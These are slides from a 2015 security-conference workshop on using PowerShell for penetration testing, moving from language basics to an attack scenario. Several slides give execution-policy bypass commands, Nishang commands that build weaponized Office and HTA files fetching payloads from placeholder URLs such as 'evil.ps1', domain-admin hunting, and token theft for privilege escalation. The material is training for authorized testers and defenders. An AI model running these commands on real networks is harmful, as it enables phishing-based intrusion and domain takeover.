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Workshop: PowerShell for Penetration Testers

Slides of the Workshop I gave at HITB, Amsterdam 2015

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Workshop: PowerShell for Penetration Testers

  1. 1. PowerShell for Penetration Testers Nikhil Mittal
  2. 2. Get-Host • Hacker, Trainer, Speaker, Penetration Tester • Creator of Kautilya and Nishang. • Twitter: @nikhil_mitt • Blog – http://labofapenetrationtester.com • Interested in Offensive Information Security, new attack vectors and methodologies to pwn systems. • Previous talks: Defcon, Blackhat, Troopers, DeepSec, EuSecwest, Hackfest, PHDays etc. 2PowerShell for Penetration Testers HITB
  3. 3. $PFPTLab = Get-Content • What is PowerShell • Why PowerShell • Executing commands, scripts and modules • Extended PowerShell usage • A Penetration Testing Scenario • Defenses 3PowerShell for Penetration Testers HITB
  4. 4. $PFPTLab | Format-Custom • This is a hands-on workshop, keep your Windows machines/VMs ready. • We will stick to PowerShell v2, unless specified otherwise. • For language basics, we will go with bare minimum to be able to cover interesting stuff in couple of hours. • The workshop assumes zero knowledge of PowerShell so if you know something: do {Start-Sleep –s 60} while {$SomethingNew –ne $true} 4PowerShell for Penetration Testers HITB
  5. 5. $PFPTLab | where-object {$_ -eq “What is PowerShell"} • “Windows PowerShell® is a task-based command- line shell and scripting language designed especially for system administration. Built on the .NET Framework, Windows PowerShell helps IT professionals and power users control and automate the administration of the Windows operating system and applications that run on Windows.” http://technet.microsoft.com/en- us/library/bb978526.aspx 5PowerShell for Penetration Testers HITB
  6. 6. $PFPTLab | where-object {$_ -eq “Why PowerShell"} • Present by default on modern Windows OS. • Tightly integrated with Windows and allows interaction with .Net, Filesystem, Registry, API, Certificates, COM, native commands, network, domain etc. • Expandable with use of .Net framework. • Easy to learn. • Less dependency on *nix based tools. • Trusted by System Admins, Blue Teams and (mostly) AV etc. 6PowerShell for Penetration Testers HITB
  7. 7. Why PowerShell? PowerShell for Penetration Testers HITB 7 http://www.quickmeme.com/ONE-OF-US
  8. 8. about_PowerShell.exe • powershell.exe is the console part of PowerShell. • Execute native commands, cmdlets, functions and scripts. • Supports tab completion, command aliases, Operators etc. • Provides various options and execution parameters. 8PowerShell for Penetration Testers HITB
  9. 9. Invoke-HandsOn • Try running powershell.exe and Write-Output “Hello World” • Try usual bash and cmd commands. 9PowerShell for Penetration Testers HITB
  10. 10. $PFPTLab | where-object {$_ -eq “powershell.exe"} • powershell.exe is the console part of PowerShell. • Execute native commands, cmdlets, functions and scripts. • Supports tab completion, command aliases, Operators etc. • Provides various options and execution parameters. 10PowerShell for Penetration Testers HITB
  11. 11. Get-Help Get-Help • Easy to use and very useful. • This is the first place to go for learning something new or looking for solution to a problem. • Detailed help for cmdlets, conceptual topics, scripts, functions and modules. • Supports wildcards. • You may need to run Update-Help (v3 onwards). 11PowerShell for Penetration Testers HITB
  12. 12. Get-Help Get-Help • Use with about_* to list help about a conceptual topic. • Various parameters could be passed to Get-Help Get-Help Get-Help –Full Get-Help Get-Command -Examples 12PowerShell for Penetration Testers HITB
  13. 13. $Exercise[0] 1. Use PowerShell help system to list everything available. 2. List help about “process”. 3. List help about powershell.exe conceptual topic. 13PowerShell for Penetration Testers HITB
  14. 14. $PFPTLab | where-object {$_ -eq “cmdlets"} • A Cmdlet is pronounced as “command let”. • Cmdlets are task based compiled .Net classes. • Certainly one of the best features of PowerShell. • They follow a Verb-Noun naming convention. • Cmdlets have aliases. • Like every other command in PowerShell, cmdlets return objects. 14PowerShell for Penetration Testers HITB
  15. 15. $PFPTLab | where-object {$_ -eq “cmdlets"} • Explore cmdlets Get-Command –CommandType Cmdlet • Explore cmdlets based on a verb Get-Command –Verb Get • Get-Command also supports wildcards. 15PowerShell for Penetration Testers HITB
  16. 16. Invoke-HandsOn • I need a count shout for number of Cmdlets you have on your machine. Get-Command –CommandType Cmdlet | Measure-Object • As you can see, PowerShell supports the pipe (|) operator as well. 16PowerShell for Penetration Testers HITB
  17. 17. $Exercise[1] 1. I need names of three cmdlets each from everyone which can be useful in Penetration Tests. 17PowerShell for Penetration Testers HITB
  18. 18. about_Windows_PowerShell_ISE • A GUI Scripting environment. • Tab completion, context-sensitive help, syntax highlighting, selective execution, in-line help are some of the useful features. • PowerShell scripts have .ps1 extension. 18PowerShell for Penetration Testers HITB
  19. 19. Invoke-HandsOn 1. Write a script which prints Hello World. 2. Save it and execute it. 19PowerShell for Penetration Testers HITB
  20. 20. about_Execution_Policies 20PowerShell for Penetration Testers HITB
  21. 21. about_Execution_Policies • Execution Policy is present to stop a user from accidently running scripts. • There are numerous ways to bypass it: powershell.exe –ExecutionPolicy bypass .script.ps1 powershell.exe –EncodedCommand <> powershell.exe –c <> Read: 15 ways to bypass PowerShell execution policy https://www.netspi.com/blog/entryid/238/15-ways-to- bypass-the-powershell-execution-policy 21PowerShell for Penetration Testers HITB
  22. 22. $PFPTLab | where-object {$_ -eq “Variables"} • Variables are declared in the form $varname. • Variables can hold outputs from Cmdlets, native commands, functions etc. as each one returns an object or array of objects. Examples: $DirList = Get-Childitem $UserList = & "net" "user" 22PowerShell for Penetration Testers HITB
  23. 23. $PFPTLab | where-object {$_ -eq “Types"} • PowerShell is not strictly typed. • You need not specify the Type of a variable. • If required, Type conversion could be done with the cast [] operator. 23PowerShell for Penetration Testers HITB
  24. 24. $PFPTLab | where-object {$_ -eq “Statements"} • Conditional Statements – If, else, elseif, Switch • Loop Statements – while() {}, do {} while(), do {} until(), for(;;){}, foreach ( in ){} – ForEach-Object 24PowerShell for Penetration Testers HITB
  25. 25. $PFPTLab | where-object {$_ -eq “Functions"} • Basic Declaration function <function_name> ( param1, param2) { do stuff } • Calling a function <function_name> <value1> <value2> • param statement provides advanced attributes for function parameters. 25PowerShell for Penetration Testers HITB
  26. 26. Invoke-HandsOn • Open Check-RegistryKey.ps1 26PowerShell for Penetration Testers HITB
  27. 27. $PFPTLab | where-object {$_ -eq “Basics of Modules"} • A simplest module is a PowerShell script with the extension .psm1 • Use Get-Module -ListAvailable to list modules. • Use Import-Module <modulepath>to import a module. • Use Get-Command –Module <Modulename> to list functions exported by a module. 27PowerShell for Penetration Testers HITB
  28. 28. $Exercise[2] 1. Convert the script Check-RegistryKey.ps1 to a script module. 2. Try importing the module and use its functions. 28PowerShell for Penetration Testers HITB
  29. 29. $PFPTLab | where-object {$_ -eq “.Net with PowerShell"} • Most powerful feature of PowerShell. Great to extend the existing capabilities of PowerShell. • Useful for loading .Net assemblies, using Windows API, using .Net code and classes in a PowerShell script. 29PowerShell for Penetration Testers HITB
  30. 30. $PFPTLab | where-object {$_ -eq “.Net with PowerShell"} Exploring .Net classes $ProcClass = [AppDomain]::CurrentDomain.GetA ssemblies() | ForEach-Object {$_.GetTypes()}| where {$_.IsPublic -eq "True“} | where {$_.Name -eq “Process”} 30PowerShell for Penetration Testers HITB
  31. 31. $PFPTLab | where-object {$_ -eq “.Net with PowerShell"} Using .Net Classes • Static Methods $ProcClass | Get-Member –Static $ProcClass:: GetProcesses() 31PowerShell for Penetration Testers HITB
  32. 32. $PFPTLab | where-object {$_ -eq “.Net with PowerShell"} Using .Net Classes • Creating instance $WebClient = New-Object System.Net.WebClient $WebClient | Get-Member –MemberType Method $WebClient | Get-Member -Name DownloadString | Format-List * $WebClient.DownloadString("http://google.com") 32PowerShell for Penetration Testers HITB
  33. 33. $PFPTLab | where-object {$_ -eq “.Net with PowerShell"} • Use Add-Type to add .Net code/classes and Windows API to a PowerShell script or session. • See New-DotnetCode.ps1 for example of using .Net code. 33PowerShell for Penetration Testers HITB
  34. 34. $PFPTLab | where-object {$_ -eq WMI"} • WMI is a treasure trove for hackers. • PowerShell could be used to retrieve information from WMI as well execute commands and scripts. • Explore the cmdlets related to WMI Get-Command -CommandType Cmdlet – Name *wmi* 34PowerShell for Penetration Testers HITB
  35. 35. $PFPTLab | where-object {$_ -eq WMI"} • To run a PowerShll command using WMI use: Invoke-WmiMethod -Class win32_process -Name create - ArgumentList "powershell -c Get-Process" –ComputerName <> 35PowerShell for Penetration Testers HITB
  36. 36. $PFPTLab | where-object {$_ -eq COM"} • PowerShell can use COM Objects as well. • Limitless opportunities for automation! $ie = New-Object -ComObject internetexplorer.application $ie | Get-Member 36PowerShell for Penetration Testers HITB
  37. 37. $PFPTLab | where-object {$_ -eq PenTest Scenario"} • Lets consider a Pen Test scenario: – The Goal of Penetration Test is to get access to get Domain Administrator access (not a very good goal but lets target it for this lab . – Server side attacks have been largely unsuccessful. – Msf payloads are being detected by Anti Virus and other countermeasures. 37PowerShell for Penetration Testers HITB
  38. 38. $Exploitation = $PFPTLab | where- object {$_ -eq Exploitation"} • PowerShell is very useful in getting a foothold system in a target network. • The trust on PowerShell by system administrators and countermeasures like AV makes it an ideal tool for Exploitation. 38PowerShell for Penetration Testers HITB
  39. 39. $Exploitation | where-object {$_ -eq Client Side Attacks"} • PowerShell is an ideal tool for client side attacks on a Windows platform. • It could be used for generating weaponized files for email phishing campaigns and drive by download attacks. • Lets use Client Side attack scripts from Nishang (https://github.com/samratashok/nishang) 39PowerShell for Penetration Testers HITB
  40. 40. $Exploitation | where-object {$_ -eq Client Side Attacks"} • Generating weaponized MS Office Files Out-Word -Payload "powershell.exe - ExecutionPolicy Bypass -noprofile - noexit -c Get-Process“ Out-Word -PayloadURL http://yourwebserver.com/evil.ps1 Out-Excel -Payload "powershell.exe –EncodedCommand <>“ 40PowerShell for Penetration Testers HITB
  41. 41. $Exploitation | where-object {$_ -eq Client Side Attacks"} • Drive by download attacks Out-HTA -PayloadURL http://192.168.254.1/powerpreter.ps m1 -Arguments Check-VM • More weaponized files Out-CHM Out-Shortcut 41PowerShell for Penetration Testers HITB
  42. 42. $Exploitation | where-object {$_ -eq Shells"} • Now that we can run successful client side attacks, we may need shell level access for further attacks. • PowerShell can be used to write shells as well. • Shells in PowerShell can be used with exploits to get access to the target machine. 42PowerShell for Penetration Testers HITB
  43. 43. $Exploitation | where-object {$_ -eq Shells"} • Interactive PowerShell Shells from Nishang • Metasploit’s msfvenom - Meterpreter using PowerShell 43PowerShell for Penetration Testers HITB
  44. 44. $PostExp = $PFPTLab | where-object {$_ -eq Post Exploitation"} • PowerShell is arguably one of the best tools around for Windows Post Exploitation. • We have an interactive PowerShell session on one of the machines on the target and various PowerShell tools can be used now. 44PowerShell for Penetration Testers HITB
  45. 45. $PostExp | where-object {$_ -eq Domain Enumeration"} • We can use Powerview (https://github.com/Veil- Framework/PowerTools/tree/master/Power View) to enumerate the target domain. • The goal is to find a machine where a Domain Admin is logged in. 45PowerShell for Penetration Testers HITB
  46. 46. $PostExp | where-object {$_ -eq Domain Enumeration"} • To find machines which have a domain admin logged in and the current user has access to that machine: Invoke-UserHunter –CheckAccess –Domain <targetdomain> 46PowerShell for Penetration Testers HITB
  47. 47. $PostExp | where-object {$_ -eq Priv Escalation"} • Now we can use the Domain Admin token on the target machine using Invoke- TokenManipulation and some PowerShell hackery: Get-Process -id <DA process> | Invoke-TokenManipulation CreateProcess cmd.exe Invoke-TokenManipulation is a part of Powersploit (https://github.com/mattifestation/PowerSploit) 47PowerShell for Penetration Testers HITB
  48. 48. $PFPTLab | where-object {$_ -eq Defenses"} • Log Log Log! • Monitor and Analyze the logs. • Understand flow/use of privileges and credentials in your environment. • If a determined attacker can break into any system, a determined system administrator can catch any attacker as well. 49PowerShell for Penetration Testers HITB
  49. 49. $PFPTLab | where-object {$_ -eq Credits"} Credits/FF to PowerShell hackers (in no particular order) @obscuresec, @mattifestation, @JosephBialek, @Carlos_Perez, @Lee_Holmes, @ScriptingGuys, @BrucePayette, @dave_rel1k, @enigma0x3, @subTee, @harmj0y and other PowerShell bloggers and book writers. 50PowerShell for Penetration Testers HITB
  50. 50. $PFPTLab | where-object {$_ -eq Closing Remarks"} • Bad guys are already using PowerShell, using it for security testing is imperative now. Both for red teams and blue teams. • PowerShell is the not the future of Windows Penetration Testing, it is the present. 51PowerShell for Penetration Testers HITB
  51. 51. $PFPTLab | where-object {$_ -eq Self Promotion"} • Check out PowerShell for Penetration Testers two days trainings at: http://www.labofapenetrationtester.com/p/tr ainings.html#pfptschedule 52PowerShell for Penetration Testers HITB
  52. 52. $PFPTLab | where-object {$_ -eq Feedback"} • Please fill the feedback form. • I am looking for contributors. • Nishang is available at https://github.com/samratashok/nishang • Follow me @nikhil_mitt • nikhil.uitrgpv@gmail.com • http://labofapenetrationtester.com/ 53PowerShell for Penetration Testers HITB

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Slides of the Workshop I gave at HITB, Amsterdam 2015

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